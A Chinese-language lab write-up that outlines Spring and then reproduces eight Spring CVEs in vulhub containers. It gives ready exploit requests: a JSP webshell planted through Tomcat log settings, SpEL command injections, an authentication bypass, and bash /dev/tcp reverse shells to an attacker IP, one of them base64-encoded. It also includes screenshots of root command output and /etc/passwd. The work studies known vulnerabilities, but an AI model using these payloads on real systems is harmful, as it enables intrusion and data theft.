一、Spring
概述
[image: ]
Spring 是开源的 Java 企业级应用开发框架，由 Rod Johnson 于 2003 年首次发布，目前由 Apache 软件基金会维护。其核心目标是简化 Java 开发，通过提供统一的架构和组件，解决企业级应用开发中的复杂性（如对象管理、事务控制、依赖耦合等问题）。
Spring 并非单一框架，而是一个生态系统的基础，衍生出 Spring Boot（快速开发）、Spring Cloud（微服务）、Spring  Security（安全）等子项目，覆盖从单体应用到分布式系统的全场景开发需求。
目前，Spring 已成为 Java 开发的事实标准，90%  以上的 Java 企业级应用（如电商平台、金融系统、政务系统）均基于 Spring 构建。
特点
1、控制反转（IoC，Inversion of Control）：解耦的核心
定义：将对象的创建、依赖管理等控制权从业务代码转移到 Spring 容器（IoC 容器），而非由开发者手动new对象或维护依赖关系。
2、面向切面编程（AOP，Aspect-Oriented Programming）：分离横切关注点
定义：将日志记录、事务控制、权限校验等 “横切关注点”（跨多个业务模块的通用功能）从业务逻辑中剥离，单独封装为 “切面”（Aspect），通过动态代理自动织入业务流程。
3、一站式框架：整合全场景开发需求
Spring 提供了覆盖 Java 开发全流程的组件，无需单独整合多个框架，降低技术栈复杂度：
数据访问：通过 Spring JDBC 简化数据库操作，整合 MyBatis、Hibernate 等 ORM 框架；
Web 开发：Spring MVC 提供 RESTful 接口开发能力，替代传统 Servlet；
安全控制：Spring Security 处理认证、授权、防攻击（如 CSRF、XSS）；
消息队列：整合 RabbitMQ、Kafka 等消息中间件；
测试支持：Spring Test 简化单元测试和集成测试，支持 Mock 对象、事务回滚等。
4、声明式编程：简化配置与逻辑
Spring 推崇 “声明式编程” 而非 “命令式编程”，开发者只需声明 “做什么”，无需关心 “怎么做”
5、轻量级与可扩展性
轻量级：核心模块（spring-core、spring-beans）体积小（仅几百 KB），无强制依赖，可按需引入组件（如仅用 IoC 容器，或仅用 AOP），不臃肿。
6、事务管理：统一且灵活
Spring 提供声明式事务和编程式事务两种方式，其中声明式事务（通过注解或 XML 配置）是主流
二、CVE-2022-22965
漏洞描述
Spring framework 是Spring 里面的一个基础开源框架，其目的是用于简化 Java 企业级应用的开发难度和开发周期。
2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
漏洞利用条件与限制
必要条件：
应用使用受影响版本的 Spring Framework；
JDK 版本≥9（依赖Module和ClassLoader的访问路径）；
控制器方法参数为 “非基本类型”（如User、Object，而非String、int）；
使用 Tomcat 作为 Servlet 容器（且以 WAR 包部署或使用内嵌 Tomcat）。
限制条件：
若应用使用 Jetty、Undertow 等其他容器，无法利用（因无AccessLogValve组件）；
若控制器参数为基本类型（如@RequestParam String name），无法触发嵌套属性绑定；
JDK 8 及以下环境不受影响（无Module类）。
影响范围
Spring Framework：5.3.0 ~ 5.3.17、5.2.0 ~ 5.2.19
漏洞原理
漏洞的核心是Spring MVC 参数绑定机制的缺陷，攻击者可通过构造恶意请求参数，篡改 Tomcat 的日志配置，最终写入恶意 JSP 文件实现代码执行。
整个攻击链分为 4 个关键步骤：
1、Spring MVC 参数绑定的 “过度灵活”
Spring MVC 的参数绑定功能允许将 HTTP 请求参数自动映射到控制器方法的参数对象（如 POJO）的属性，支持 “嵌套属性” 语法（通过.访问多层属性）。例如，请求参数user.name=test会被绑定到User对象的name属性。
漏洞点：当控制器方法的参数为 “非基本类型”（如自定义 POJO、Object类型）时，Spring MVC 会通过反射递归解析参数名中的.，尝试绑定到对象的所有可访问属性，包括其父类、接口的属性。
即使参数对象中没有某个属性，Spring 仍会尝试通过setter方法或字段注入，这为攻击者提供了修改 “非预期对象” 属性的可能。
2、利用class属性访问底层类对象
在 Java 中，任何对象都有getClass()方法，返回其对应的Class对象；Class对象又有getModule()方法（JDK 9 + 新增），返回Module对象；Module对象可进一步获取类加载器（ClassLoader）等关键资源。
攻击者通过参数绑定的嵌套语法，可构造如下参数路径：
class.module.classLoader.resources.context.parent.pipeline.first.xxx
class：获取当前对象的Class实例；
module：通过Class.getModule()获取Module对象；
classLoader：通过Module.getClassLoader()获取类加载器；
resources.context.parent.pipeline.first：最终定位到 Tomcat 的AccessLogValve（日志阀门组件，负责处理访问日志）。
3、篡改 Tomcat 日志配置
AccessLogValve是 Tomcat 用于记录访问日志的组件，其核心可配置属性包括：
directory：日志文件存储目录（默认logs/）；
prefix：日志文件名前缀（默认access_log）；
suffix：日志文件名后缀（默认.txt）；
pattern：日志格式（定义日志内容的格式，如包含请求 URL、IP 等）。
攻击者通过参数绑定修改这些属性：
将directory改为 Tomcat 的webapps/ROOT目录（该目录下的 JSP 文件可直接被访问执行）；
将suffix改为.jsp（使日志文件成为可执行的 JSP 文件）；
将pattern设为恶意 JSP 代码（如<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>）。
4、触发日志写入，生成 Webshell
当攻击者发送构造的请求后，Tomcat 会按照修改后的配置记录访问日志：
恶意 JSP 代码被写入webapps/ROOT/\[prefix][date].[suffix]（如shell.jsp）；
访问该 JSP 文件并传入cmd参数（如shell.jsp?cmd=whoami），即可执行任意系统命令。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.32.132:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

漏洞复现
进入靶场环境，启动容器
[image: ]
访问靶机环境
[image: ]
传入name和age：
http://192.168.1.4:8080/?name=maolin&age=18
[image: ]
抓取数据包，将数据包更改为以下修改好的Poc：
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22连接密码%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=文件名（前缀名称）&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 靶机IP地址:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1


GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=maolin&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.1.4:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1



[image: ]
访问创建的文件：
http://192.168.1.4:8080/maolin.jsp?pwd=j&cmd=id
[image: ]
[image: ]
[image: ]
修复建议
升级版本
三、CVE-2022-22963
漏洞描述
由于Spring  Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。
spring.cloud.function.routing-expression 是 Spring Cloud Function 框架中的一个配置项（或请求头参数），用于动态路由函数调用。
其设计初衷是：根据运行时的条件（如请求参数、系统状态），通过 SpEL 表达式动态决定调用哪个函数处理请求，实现 “按需执行函数” 的灵活逻辑。
正常的路由表达式可能是：
spring.cloud.function.routing-expression: "#input.startsWith('hello') ? 'helloFunction' : 'defaultFunction'"
如果请求输入以 “hello” 开头，就调用名为helloFunction的函数；否则调用defaultFunction。
依赖环境
依赖环境：使用了 Spring Cloud Function 的 “函数路由” 功能（通过spring.cloud.function.routing-expression参数动态路由函数）。
SpEL表达式
SpEL（Spring Expression Language，Spring 表达式语言）是 Spring 框架内置的表达式语言，用于在运行时查询和操作对象图，支持复杂的逻辑运算、属性访问、方法调用等。
SpEL 的核心是 “在 Spring 容器中动态求值”，解决传统硬编码无法满足的动态逻辑需求，例如：
在 Spring 配置中动态获取 Bean 的属性（如@Value("#{systemProperties['user.name']}")）；
在 Spring Security 中定义复杂的权限规则（如@PreAuthorize("#user.id == authentication.principal.id")）；
在 Spring Cloud 中动态路由函数（如 CVE-2022-22963 涉及的路由表达式）。
	操作
	语法示例
	描述

	表达式模板
	"Hello, #{user.name}!"
	混合文本与表达式（#{}内为 SpEL 表达式，其余为普通文本，常用于@Value注解）。

	静态方法调用
	T(java.lang.Math).max(10, 20)
	调用类的静态方法，需用T(全类名)指定类（T是 Type 的缩写）。

	静态属性访问
	T(java.lang.Integer).MAX_VALUE
	访问类的静态属性（如Integer的最大值）。


影响范围
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞原理
Spring Cloud Function 是 Spring 生态中用于开发 Serverless 函数的框架，支持通过函数路由动态调用不同的函数（如根据请求参数决定执行哪个函数逻辑）。
其核心风险点在于对 “路由表达式” 的处理逻辑：
路由表达式的动态解析：框架允许通过请求头（如spring.cloud.function.routing-expression）或配置参数指定 SpEL 表达式作为路由规则，例如：
  spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
  
  # T(java.lang.Runtime)：获取Runtime类（SpEL 语法）
SpEL 表达式的执行能力：SpEL 支持调用 Java 类的静态方法（如T(java.lang.Runtime).exec(...)），若攻击者控制了表达式内容，可直接构造执行系统命令的表达式。
漏洞利用链：
攻击者向目标应用发送 HTTP 请求，在请求头中注入恶意 SpEL 表达式；
框架将请求头中的表达式作为路由规则解析执行；
恶意表达式被执行，触发远程代码执行。
漏洞复现
进入靶场环境，启动容器
[image: ]
访问靶机
[image: ]
抓取数据包，修改请求方法、添加请求头
POST /functionRouter HTTP/1.1
Host: 192.168.1.4:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng-101.webp,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/maolin")
Content-Type: text/plain
Content-Length: 3

123
[image: ]
在容器查看是否被创建成功：
[image: ]
修复建议
升级版本
四、CVE-2022-22978
漏洞描述
Spring-security RegexRequestMatcher 认证绕过漏洞，当Spring-security使用 RegexRequestMatcher 进行权限配置，由于RegexRequestMatcher正则表达式配置权限的特性，正则表达式中包含“.”时，未经身份验证攻击者可以通过构造恶意数据包绕过身份认证。
存在漏洞代码块：
[image: ]
在匹配的时候只要输入url 为：/admin/111\n 即可绕过url限制，因为和/admin/.不匹配，因此绕过了鉴权。
影响范围
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4
漏洞复现
进入靶场，启动环境：
root@ubuntu:~/vulhub/spring# cd CVE-2022-22978/
root@ubuntu:~/vulhub/spring/CVE-2022-22978# docker compose up -d
访问/admin/123，会显示没有相关权限。
[image: ]
使用/admin/1%0d%0a，成功绕过登陆认证。
[image: ]
\r的URl编码为%0d，\n的URL编码为%0a
修复建议
升级版本
五、CVE-2016-4977
漏洞描述
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。
Spring Security OAuth 是 Spring 生态的 OAuth2 认证授权组件，该漏洞属于 SpEL（Spring 表达式语言）注入漏洞。
当组件使用默认 whitelabel 视图处理授权异常时，会将请求参数 response_type 的值直接作为 SpEL 表达式解析并渲染到错误页面。
攻击者构造携带恶意 SpEL 表达式的 response_type 参数，触发授权流程异常进入错误页面，表达式随之被服务端解析执行，最终可实现远程代码执行（RCE）。
漏洞触发需要访问授权接口，通常需要具备一个合法的系统用户权限（如测试环境默认账号）。
SpEL（Spring Expression Language，Spring 表达式语言） 是 Spring 框架自带的一套表达式执行引擎，定位类似 Struts2 的 OGNL，允许程序在运行时动态计算表达式、读写对象属性、调用 Java 类方法，是 Spring 生态用于动态配置、数据渲染的核心能力。
影响范围
Spring Security OAuth 2.0.0 ~ 2.0.9
Spring Security OAuth 1.0.0 ~ 1.0.5
漏洞复现
进入靶场，启动容器：
root@ubuntu:~/vulhub/spring# cd CVE-2016-4977/
root@ubuntu:~/vulhub/spring/CVE-2016-4977# docker compose up -d
探测是否存在漏洞：
http://目标地址/oauth/authorize?response_type=${22}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.124.130:8080/oauth/authorize?response_type=${22}&client_id=acme&scope=openid&redirect_uri=http://test
默认口令为admin/admin
[image: ]
说明 SpEL 表达式被成功执行，漏洞存在。
使用Poc.py生成反弹shell
bash -i >& /dev/tcp/192.168.124.128/8889 0>&1
bash -i >& /dev/tcp/192.168.124.128/8889 0>&1
bash -i：启动一个交互式 bash shell
\>& /dev/tcp/192.168.124.128/8889
/dev/tcp/ip/port：bash 内置特殊设备文件，建立 TCP 连接到攻击机 IP 端口
>&：标准输出 + 标准错误，全部重定向到这个 TCP 套接字（目标输出传给攻击机）
0>&1：标准输入重定向到标准输出，也就是攻击机输入的命令传给目标 bash 执行。
将原始命令进行 base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC4xMjIvODg4OSAwPiYx
在目标执行解码执行
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC4xMjgvODg4OSAwPiYx}|{base64,-d}|{bash,-i}	
使用自带的poc.py对payload进行编码：
[image: ]
将编码好的payload加载到注入点，同时本地启动监听
[image: ]
[image: ]
修复建议
版本升级
禁用默认试图
网络隔离
六、CVE-2022-22947
漏洞描述
2022年3月1日，VMware官方发布漏洞报告，在使用Spring Cloud Gateway的应用程序开启、暴露Gateway Actuator端点时，会容易造成代码注入攻击，攻击者可以制造恶意请求，在远程主机进行任意远程执行。
影响范围
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
漏洞复现
root@ubuntu:~/vulhub/spring# cd CVE-2022-22947/
root@ubuntu:~/vulhub/spring/CVE-2022-22947# docker compose up -d
[image: ]
构造包含恶意请求的路由：
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.124.130:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

[image: ]
触发表达式执行：
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.124.130:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0



[image: ]
查看结果：
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.124.130:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0



[image: ]
删除所添加的路径：
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.124.130:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close



[image: ]
刷新路由：
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.124.130:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0



[image: ]
修复建议
3.1.x版本用户及时升级到3.1.1+
3.0.x版本用户及时升级到3.0.7+
七、CVE-2017-8046
漏洞描述
Spring Data REST，Spring 生态中用于自动生成 RESTful API 的组件，可快速将数据库实体暴露为 HTTP 接口。
Spring Data REST 在处理 PATCH 方法的 JSON Patch 请求时，对请求体中 path 字段的内容校验不严格，会将其作为 SpEL 表达式进行解析执行。
攻击者构造包含恶意 SpEL 表达式的 path 参数，无需身份认证即可触发表达式运行，实现服务器远程代码执行。
请求包特征：必须使用 PATCH 请求方法，Content-Type 为 application/json-patch+json，payload 位于请求体的 path 字段中。
影响范围
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
漏洞原理
JSON Patch 是 RESTful 接口用于局部修改资源的标准格式，通过 op（操作类型）、path（修改路径）、value（修改值）三个字段描述修改动作。
Spring Data REST 在解析 path 路径时，错误地将路径内容传入 SpEL 引擎进行解析；
攻击者可以在路径前缀注入完整的 SpEL 表达式，利用 SpEL 的反射能力调用 Runtime 类执行系统命令，路径末尾的真实字段名仅用于绕过格式校验，不影响表达式执行。
漏洞复现
进入靶场，启动容器：
root@ubuntu:~/vulhub/spring# cd CVE-2017-8046/
root@ubuntu:~/vulhub/spring/CCVE-2017-8046# docker compose up -d
直接访问目标
[image: ]
[image: ]
[image: ]
修改数据包，使用PATCH请求来发送
PATCH /customers/1 HTTP/1.1
Host: 192.168.124.130:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115 转换为ASCII是 touch /tmp/success
[image: ]
[image: ]
修复建议
升级版本
八、CVE-2018-1273
漏洞描述
SpEL 表达式注入 / 远程代码执行（RCE）
Spring Data Commons 在处理表单参数的属性绑定时（如 username[xxx] 这种带方括号的参数名格式），会将方括号内的内容直接作为 SpEL 表达式解析执行
攻击者可构造恶意参数名，注入 SpEL 表达式，无需身份认证即可触发远程代码执行
注入点特点：注入点在请求参数的参数名（key）中，而非参数值，由属性绑定器的解析缺陷导致
Spring Data Commons，Spring Data 生态的基础核心框架，为所有 Spring Data 子项目提供通用的数据绑定、查询等基础能力
所有不再维护的更旧版本均受影响
影响范围
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~# cd vulhub/spring/CVE-2018-1273
root@ubuntu:~/vulhub/spring/CVE-2018-1273# docker compose up -d
[image: ]
目录扫描后，发现存在users路径
[image: ]
进行注册用户抓取数据包：
[image: ]
构造恶意payload：
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.124.130:8080
Content-Length: 136
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.124.130:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.124.130:8080/users
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=test&password=test&repeatedPassword=test
[image: ]
[image: ]
Poc分析：
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]

//核心作用是：通过Java反射机制加载命令执行类，在目标服务器上执行系统命令 touch /tmp/success，是SpEL注入漏洞中最经典的无回显验证 payload：
java.lang.Runtime是Java原生提供的、用于执行操作系统命令的核心类
getRuntime()是 获取全局唯一的 Runtime 实例
exec("touch /tmp/success")为在目标服务器的操作系统层面执行传入的命令字符串
修复建议
升级版本
九、CVE-2017-4971
漏洞描述
CVE-2017-4971，SpEL 表达式注入 / 远程代码执行（RCE）
Spring Web Flow，Spring 生态中用于开发流程化业务的框架（如酒店预订、购物结账、多步表单等线性流程场景），用于分离流程定义与业务逻辑
Spring Web Flow 在处理视图状态的表单提交、执行数据绑定时，若业务代码未显式配置绑定字段白名单，且使用默认的 useSpringBinding=false 配置，攻击者可构造恶意请求参数名（字段名）注入 SpEL 表达式。
框架会将恶意字段名当作表达式解析执行，最终无需管理员权限即可实现远程代码执行。
注入点位于 POST 请求的参数名（key）中，利用数据绑定的字段解析缺陷触发表达式执行。
影响范围
Spring Web Flow 2.4.0 – 2.4.4
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub/spring# cd CVE-2017-4971
root@ubuntu:~/vulhub/spring/CVE-2017-4971# docker compose up -d
[image: ]
使用准备好的账号进行登录
[image: ]
查询酒店
[image: ]
[image: ]
查看任意酒店
[image: ]
订阅酒店
[image: ]
填写信息，点击Proceed
[image: ]
点击confirm时，抓取数据包
[image: ]
将数据包发送到repeater模块中
[image: ]
添加Poc，同时进行本地监听
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.124.133/8889+0>%261")).start()=vulhub
[image: ]
[image: ]
修复建议
2.4.x版本升级到2.4.5版本以及更高版本
image2.png
S:\vulhub\vulhub\spring\CVE-2022-22965>docker compose up -d
[+] Running 13/13
wspring Pulled
wdbba6928Ub27 Pull complete
w9bafd37albad Pull complete
w6ade5c59e324 Pull complete
3d0950e7f796 Pull complete
w40d3c098d9d0 Pull complete
wdcdldd6b8adc Pull complete
wc73da20a@dbe Pull complete
wd3043fc24236 Pull complete
wf8da6ea9e669 Pull complete
w52441771bact Pull complete
52107eabb2aa Pull complete
w52U276ff2cfd Pull complete
[+] Running 2/2
wNetwork cve-2022-22965_default Created
wContainer cve-2022-22965-spring-1 Started

S:\vulhub\vulhub\spring\CVE-2022-22965>docker ps
CONTAINER ID IMAGE COMMAND CREATED
bd251afacall5  vulhub/spring-webmvc:5.3.17 "catalina.sh run" 13 seconds ago

S:\vulhub\vulhub\spring\CVE-2022-22965>

STATUS
Up 12 seconds

PORTS
0.0.0.0:8080->8080/tcp, [::]:8080->8080/tcp

NAMES
cve-2022-22965-spring-1

.2s
.6s
.0s
B
1B
RS
.ds
.ds
.8s
.8s
.8s
.8s
.2s

RS
.8s
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192.168.1.4:8080 x  +

< C  AFz2 192.168.1.4:8080

Hello, my nameis, | am years old.
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192.168.1.4:8080/2name=m- X  +

< C  AFRZe 192.168.1.4:8080/?name=maolin&age=18

Hello, my name is maolin, | am 18 years old.
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Request Response
Pretty Raw  Hex

1 GET /?class. module. classLoader. resources. context. parent. pipeline. first. pattern=
%25%7Bc2%7Di%201f (%223%22. equals (request. getParameter (%22pwd%22)) ) %7B%20java. io. InputStrean20in%20%3D%20%25%7Bcl
%7Di. getRuntime (). exec (request. getParameter (%22cmd%22) ). getInputStrean () %3B%201nt%20a%20%3D%20-1%3B%20by t e%5B%5D%
20b%20%3D%20new%20by £ e%5B2048%5D%3B%20whi Le ( (ak3Din. read (b)) !%3D-1) %7B%200ut. print In (new%20Str ing (b)) %3B%20%7D%20
%7D%20%25%7Bsuf f1x%7Dikclass. module. classLoader. resources. context. parent. pipeline. first. suffix=. jspk Content-Length: 80
class. module. classLoader. resources. context. parent. pipeline. first. directory=webapps/RO0T& Date: Fri, 31 Oct 2025 02:16:48 GMT
class. module. classLoader. resources. context. parent. pipeline. first. prefix=naoling 7 Comnection: close

= | Pretty Raw Hex Render

HITP/1.1 200

Set-Cookie: JSESSIONID=420424346D7037BSDE4SECE69A39B543; Path=/; HttpOnly
Content-Type: text/html;charset=1S0-8859-1

Content-Language: en

10 e W

class. module. classLoader. resources. context. parent. pipeline. first. fileDateFormat= HITP/1.1 8
2 Host: 192.168. 1. 4:8080 9
3 Accept-Encoding: gzip, deflate 10
4 Accept: */* 11
5 Accept-Language: en 12 <html>
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 13| <body>
Chrome/97.0.4692.71  Safari/537.36 14 <h2>
7 Comnection: close Hello, my name is , I am years old.
8 suffix: %// </n2>
9 cl: Runtime 15
10 c2: <% 16 </body>
11 DNT: 1 17 </html>
12 Contpnt-Length: 2 18
13
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< C  AFRZe 192.168.1.4:8080/maolin.jsp?pwd=j&cmd=id

uid=0(root) gid=0(root) groups=0(root) //




image7.png
< C  AFRZe 192.168.1.4:8080/maolin.jsp?pwd=j8icmd=cat%20/etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbhin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbhin/nologin // - if("j" .equals(request.getParameter("pwd"))){ java.io.InputStream
in = -.getRuntime().exec(request.getParameter("cmd")).getIinputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); }} -
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<« C  Axze 192.168.1.4:8080/maolin.jsp?pwd=j&cmd=pwd Q K <3 =] ®

Jusr/local/tomcat // - if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getinputStream(); int a = -1; byte[] b =

new byte[2048]; while((a=in.read(b))!=-1){ out.printIn(new String(b)); } } - - if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getinputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
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S:\vulhub\vulhub\spring\CVE-2022-22963>docker compose up -d
[+] Running 8/8
wspring Pulled
